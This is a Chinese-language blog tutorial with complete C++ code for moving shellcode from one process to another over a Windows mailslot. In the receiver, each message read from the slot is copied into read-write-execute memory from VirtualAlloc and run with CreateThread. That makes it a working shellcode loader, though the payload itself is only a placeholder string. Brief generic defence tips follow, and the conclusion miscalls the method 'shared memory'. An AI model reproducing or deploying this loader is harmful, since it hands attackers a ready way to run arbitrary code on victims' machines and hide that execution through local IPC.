C++ 郵件槽ShellCode跨進程傳輸

在計算機安全領域,進程間通信(IPC)一直是一個備受關注的話題。在本文中,我們將探討如何使用Windows郵件槽(Mailslot)實現ShellCode的跨進程傳輸。郵件槽提供了一種簡單而有效的單向通信機制,使得任何進程都能夠成爲郵件槽服務器,並通過UDP通信向其他進程發送數據。

郵件槽是Windows操作系統提供的一種用於本地進程間通信的機制。它允許一個進程創建一個命名的槽,並允許其他進程通過該槽向創建它的進程發送消息。在本文中,我們將使用郵件槽實現進程間的ShellCode傳輸。如果需要雙向通信或更復雜的通信需求,需要考慮其他IPC機制,例如命名管道、套接字等。

服務端部分

服務端端部分的實現非常簡單,通過使用MAIL_SLOT_NAME 可以定義郵件槽的名稱,該名稱用於標識服務端和客戶端之間的郵件槽。這是一個字符串常量,按照 Windows 命名約定的格式指定了郵件槽的路徑。

讓我來解釋這個定義的具體含義:

  • \\\\.:表示本地計算機,即當前計算機的命名空間。
  • mailslot:指定郵件槽的類型。
  • Name:是你給郵件槽指定的名稱,可以根據實際需要更改。

所以,整個路徑 \\\\.\\mailslot\\Name 指代的是一個本地計算機上的郵件槽,其名稱爲 Name。這個路徑會在創建和打開郵件槽時使用,確保兩個進程使用相同的路徑來通信。

在服務端創建郵件槽時,通過 CreateFile 函數中的 MAIL_SLOT_NAME 參數指定郵件槽的名稱,確保服務端和客戶端使用相同的名稱來建立通信連接。

CreateFile

用於創建或打開文件、文件夾、郵件槽、管道等對象的句柄。在你提供的代碼中,CreateFile 主要用於打開郵件槽,以便在服務端寫入數據。

以下是 CreateFile 函數的一般形式:

HANDLE CreateFile(
  LPCTSTR               lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

參數說明:

  • lpFileName:指定文件或對象的名稱,可以是一個路徑、文件名或其他標識符。
  • dwDesiredAccess:指定對文件的訪問權限,例如 GENERIC_READGENERIC_WRITE 等。
  • dwShareMode:指定共享模式,例如 FILE_SHARE_READFILE_SHARE_WRITE 等。
  • lpSecurityAttributes:指定安全屬性,通常設置爲 NULL
  • dwCreationDisposition:指定文件的創建或打開方式,例如 OPEN_EXISTINGCREATE_NEW 等。
  • dwFlagsAndAttributes:指定文件或對象的屬性,例如 FILE_ATTRIBUTE_NORMAL
  • hTemplateFile:指定一個文件句柄,用於複製文件屬性。

如上所示,我們只需要遵循郵件槽的創建流程並使用CreateFile創建通信,當需要傳輸郵件的時候可以直接調用WriteFile發送郵件,這是一個很好的功能,你可以發送郵件也可以發送各種你喜歡的亂七八糟的東西。

#include <windows.h>
#include <iostream>

using namespace std;

#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name" 

char ShellCode[] = "此處是ShellCode";

int main(int argc, char* argv[])
{
    HANDLE hWriteMailSlot = NULL;
    while (TRUE)
    {
        hWriteMailSlot = CreateFile(MAIL_SLOT_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hWriteMailSlot == INVALID_HANDLE_VALUE)
            continue;
        else
            break;
    }
    DWORD dwReturn = 0;

    // 發送郵件槽
    WriteFile(hWriteMailSlot, ShellCode, strlen(ShellCode), &dwReturn, NULL);
    CloseHandle(hWriteMailSlot);
    return 0;
}

客戶端部分

爲了實現通信,客戶端部分也需要使用郵件槽,在MAIL_SLOT_NAME中指定相同的郵件名,通過CreateMailslot 函數,創建郵件槽(Mailslot),這是一種用於本地進程間通信的機制。郵件槽是一種命名的管道,用於在同一臺計算機上的不同進程之間傳遞數據。

以下是 CreateMailslot 函數的一般形式:

HANDLE CreateMailslot(
  LPCTSTR               lpName,
  DWORD                 nMaxMessageSize,
  DWORD                 lReadTimeout,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

參數說明:

  • lpName:指定郵件槽的名稱,形如 \\.\mailslot\your_mailslot_name
  • nMaxMessageSize:指定郵件槽中消息的最大大小。
  • lReadTimeout:指定在讀取數據時的超時時間(以毫秒爲單位)。
  • lpSecurityAttributes:指定郵件槽的安全屬性,可以爲 NULL

在代碼中,CreateMailslot 用於創建郵件槽:

hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);

這行代碼的作用是創建一個郵件槽,使用了預定義的郵件槽名稱 MAIL_SLOT_NAME 作爲參數,nMaxMessageSizelReadTimeout 都設置爲零,表示使用默認值。如果創建成功,hReadMailSlot 將獲得一個有效的郵件槽句柄,可以用於後續的數據讀取操作。

創建好鏈接之後接下來就可以通過GetMailslotInfo函數獲取郵件了,當然了這個要死循環等待郵件,GetMailslotInfo 用於檢查郵件槽的狀態信息。它提供了有關郵件槽當前狀態的信息,例如有多少消息在郵件槽中、每個消息的大小等。

以下是 GetMailslotInfo 函數的一般形式:

BOOL GetMailslotInfo(
  HANDLE       hMailslot,
  LPDWORD      lpMaxMessageSize,
  LPDWORD      lpNextSize,
  LPDWORD      lpMessageCount,
  LPDWORD      lpReadTimeout
);

參數說明:

  • hMailslot:郵件槽的句柄,通過 CreateMailslot 函數或 CreateFile 函數獲得。
  • lpMaxMessageSize:指向一個變量,用於接收郵件槽中單個消息的最大大小。
  • lpNextSize:指向一個變量,用於接收下一個消息的大小。
  • lpMessageCount:指向一個變量,用於接收郵件槽中當前的消息數目。
  • lpReadTimeout:指向一個變量,用於接收在讀取數據時的超時時間(以毫秒爲單位)。

在你的代碼中,GetMailslotInfo 用於獲取郵件槽的信息:

bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);

這行代碼的作用是獲取郵件槽 hReadMailSlot 的信息,其中 cbMessage 接收消息的大小,cMessage 接收消息的數量。這樣的信息可以在接收方確定是否有待處理的消息,以及處理這些消息所需的空間。

一般來說當收到了新郵件之後可以直接使用ReadFile函數讀出這段郵件,讀出來的郵件就可以直接反彈了,如下代碼所示;

#include <windows.h>
#include <iostream>

using namespace std;

#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name" 
HANDLE hReadMailSlot = INVALID_HANDLE_VALUE;

DWORD WINAPI ReadMail()
{
    hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
    if (hReadMailSlot == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    // 查看油槽的信息
    DWORD cbMessage = 0, dwReturn = 0, cMessage = 0;
    BOOL bOk = FALSE;

    char ShellCode[4096] = { 0 };

    while (TRUE)
    {
        bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
        if (bOk == FALSE)
            break;
        if (cMessage == 0)
            continue;
        else
        {
            if (ReadFile(hReadMailSlot, ShellCode, cbMessage, &dwReturn, 0) == TRUE)
            {
                HANDLE hThread = NULL;
                cout << ShellCode << endl;
                
                // 注入ShellCode並執行
                void* ptr = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                CopyMemory(ptr, ShellCode, sizeof(ShellCode));

                hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, 0, 0, 0);
                WaitForSingleObject(hThread, INFINITE);
            }
        }
    }
}

int main(int argc, char* argv[])
{
    HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadMail, NULL, 0, NULL);
    Sleep(INFINITE);
    if (hReadMailSlot != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hReadMailSlot);
    }
    return 0;
}

潛在風險和安全建議

雖然這種方法在本地攻擊場景中有一定的巧妙性,但也存在潛在的風險。以下是一些建議:

  1. 防禦共享內存濫用: 操作系統提供了一些機制,如使用 ACL(訪問控制列表)和安全描述符,可以限制對共享內存的訪問。合理配置這些機制可以減輕潛在的濫用風險。
  2. 加強系統安全策略: 使用強密碼、及時更新系統和應用程序、啓用防火牆等都是基礎的系統安全策略。這些都有助於防止潛在的Shellcode攻擊。
  3. 監控和響應: 部署實時監控和響應系統,能夠及時檢測到異常行爲並採取相應措施,對於減緩潛在威脅的影響十分重要。

總結

本文介紹了通過共享內存傳遞Shellcode的方法,通過這種巧妙的本地攻擊方式,兩個進程可以在不直接通信的情況下相互傳遞Shellcode。然而,使用這種技術需要非常謹慎,以免被濫用用於不當用途。在實際應用中,必須謹慎權衡安全性和便利性,同時配合其他防禦措施,確保系統的整體安全性。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章